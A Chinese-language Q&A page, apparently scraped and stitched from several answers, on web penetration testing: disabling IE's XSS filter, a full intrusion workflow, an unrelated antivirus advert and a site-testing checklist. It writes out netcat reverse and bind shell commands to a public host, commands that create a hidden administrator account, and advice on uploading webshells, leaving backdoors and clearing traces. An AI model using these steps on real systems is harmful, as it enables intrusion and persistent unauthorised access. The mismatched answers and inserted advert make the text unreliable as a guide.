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为什么burp suite中的跨站脚本可以执行
1、工具——Internet选项——高级——在“允许活动内容在计算机上运行”
2、打开Internet Explorer工具栏的Internet选项，打开安全选项，点击自定义级别，找到”启用XSS筛选器”，选择禁用
3、清除IE浏览器的缓存,点IE上的工具——选择下面Internet选项，点Internet删除文件(记得勾上删除所有脱机内容)，确定后再重新打开IE浏览器试试,同时请确认使用的是IE6.0及以上版本。
4、网页上清缓存,在网页上选择工具-Interner选项-删除Cookies和删除文件,确定。
5、点击IE浏览器中的“工具”，选择“internet选项”，进入“安全”页面，点击“自定义级别”，将安全设置设为“低”。
6、清空IE浏览器的cookies文件，在IE浏览器中设置“禁止自动脚本更新“。
脚本script是使用一种特定的描述性语言，依据一定的格式编写的可执行文件，又称作宏或批处理文件。脚本通常可以由应用程序临时调用并执行。各类脚本目前被广泛地应用于网页设计中，脚本不仅可以减小网页的规模和提高网页浏览速度，而且可以丰富网页的表现，如动画、声音等。
web渗透是什么？
Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透，以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。一般的渗透思路就是看是否有注入漏洞，然后注入得到后台管理员账号密码，登录后台，上传小马，再通过小马上传大马，提权，内网转发，进行内网渗透，扫描内网c段存活主机及开放端口，看其主机有无可利用漏洞（nessus）端口（nmap）对应服务及可能存在的漏洞，对其利用（msf）拿下内网，留下后门，清理痕迹。或者看是否有上传文件的地方，上传一句话木马，再用菜刀链接，拿到数据库并可执行cmd命令，可继续上大马.........思路很多，很多时候成不成功可能就是一个思路的问题，技术可以不高，思路一定得骚。
信息收集
信息收集是整个流程的重中之重，前期信息收集的越多，Web渗透的成功率就越高。
DNS域名信息：通过url获取其真实ip,子域名(Layer子域名爆破机)，旁站(K8旁站，御剑1.5)，c段，网站负责人及其信息（whois查询）
整站信息：服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型；
网站常见搭配为：
ASP和ASPX：ACCESS、SQLServer
PHP：MySQL、PostgreSQL
JSP：Oracle、MySQL
敏感目录信息（御剑，dirbust）
开放端口信息（nmp）
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描，看其是否有可利用漏洞。
常见漏洞：
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如：
Sql注入（sqlmap）
XSS（BEEF）
后台密码爆破（burp）
端口爆破（hydra）
提权
获得shell之后我们权限可能很低，因此要对自己提权，可以根据服务器版本对应的exp进行提权，对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法：
反向连接
在公网主机上进行监听：
nc-lvp 4444
在内网主机上执行：
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行：
nc-l -p 4444 -t -e cmd.exe
本地主机上执行：
nc-vv 远程主机ip4444
成功后，本地主机即可远程主机的一个shell
然后就是对内网进行渗透了，可以用主机漏洞扫描工具（nessus,x-scan等）进行扫描看是否有可用漏洞，可用msf进行利用，或者用nmap扫描存活主机及开放端口，可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马，留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工：
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到，但在控制面板可以看到，还需要改注册表才能实现控制版面也看不到，太过麻烦，不多赘述，所以还是用工具省心省力。
如何使用Burp Suite模糊测试SQL注入，XSS，命令执行漏洞
试试腾讯电脑管家，杀毒+管理2合1，还可以自动修复漏洞：第一时间发现并修复系统存在的高危漏洞，在不打扰您的情况下自动为系统打上漏洞补丁，轻轻松松将病毒木马拒之门外。自动修复漏洞 电脑管家可以在发现高危漏洞（仅包括高危漏洞，不包括其它漏洞）时，第一时间自动进行修复，无需用户参与，最大程度保证用户电脑安全。尤其适合老人、小孩或计算机初级水平用户使用
给你一个网站如何来渗透测试
先看程序脚本类型。
看程序使用了什么框架或者什么开源cms。
看中间件版本和类型
有没有使用cdn 防火墙。
根据信息可以有个大概测试方向。
扫描备份信息，不止常规rar,zip,7z,tar,tar,gz，还有git svn等源代码信息泄露
扫后台地址：burp爆破弱口令你值得尝试
扫编辑器
会员注册：找上传，注入
留言：存储性xss
常规注入，登录框注入，搜索框注入
遍历目录
任意读取/任意下载/文件包含
扫描目标开放端口
先看他有什么功能就测试什么内容。所以必须基础知识点扎实就行。
旁站思路：
子域名思路：
迂回入侵：